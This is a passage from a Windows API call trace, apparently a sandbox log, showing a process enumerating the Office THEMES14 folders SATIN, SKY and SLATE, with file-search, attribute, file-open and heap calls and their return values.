ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.660] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0242.660] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0242.660] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0242.660] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0242.660] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0242.660] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913e00 [0242.660] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91c408 [0242.660] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0242.660] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.660] GetLastError () returned 0x12 [0242.660] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0242.661] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0242.661] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.661] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xe1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.661] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24bfd200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24bfd200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1936f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN.ELM", cAlternateFileName="")) returned 1 [0242.661] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN.INF", cAlternateFileName="")) returned 1 [0242.661] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.661] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.661] GetLastError () returned 0x12 [0242.661] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.661] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0242.661] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0242.661] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.661] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY", cAlternateFileName="")) returned 1 [0242.661] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.661] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.662] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0242.662] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0242.662] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x91dab0 [0242.663] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x91dab0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x91dab0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0242.663] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91dab0) returned 1 [0242.663] NtClose (Handle=0x1b0) returned 0x0 [0242.663] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.663] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.663] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.663] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0242.663] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0242.663] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.663] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.663] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0242.663] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0242.663] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0242.663] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0242.663] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0242.663] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0242.663] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.663] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913e20 [0242.663] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91c510 [0242.663] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0242.663] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25f0ff00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25f0ff00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1413d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY.ELM", cAlternateFileName="")) returned 1 [0242.663] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0242.664] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0242.664] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0242.664] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0242.664] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0242.664] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913e40 [0242.664] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91c618 [0242.664] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0242.664] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY.INF", cAlternateFileName="")) returned 1 [0242.664] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0242.664] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0242.664] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0242.664] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0242.664] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0242.664] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913e60 [0242.664] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91c720 [0242.664] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0242.664] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.664] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0242.664] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0242.664] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0242.664] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0242.664] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0242.664] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913e80 [0242.664] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91c828 [0242.664] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0242.664] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.664] GetLastError () returned 0x12 [0242.665] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0242.665] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0242.665] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.665] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.665] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25f0ff00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25f0ff00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1413d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY.ELM", cAlternateFileName="")) returned 1 [0242.665] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY.INF", cAlternateFileName="")) returned 1 [0242.665] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.665] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.665] GetLastError () returned 0x12 [0242.665] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0242.665] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0242.665] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0242.665] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.665] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE", cAlternateFileName="")) returned 1 [0242.665] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.665] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.666] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0242.666] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0242.667] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x91dab0 [0242.667] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x91dab0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x91dab0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0242.667] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91dab0) returned 1 [0242.667] NtClose (Handle=0x1bc) returned 0x0 [0242.667] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.667] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.667] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0242.667] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0242.667] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0242.667] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.667] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.667] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.667] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.667] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.667] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.667] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.667] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0242.667] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0242.667] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913ea0 [0242.667] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91c930 [0242.667] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.668] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27222c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27222c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE.ELM", cAlternateFileName="")) returned 1 [0242.668] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.668] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.668] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.668] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.668] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.668] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9183b0 [0242.668] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91ca38 [0242.668] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.668] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, 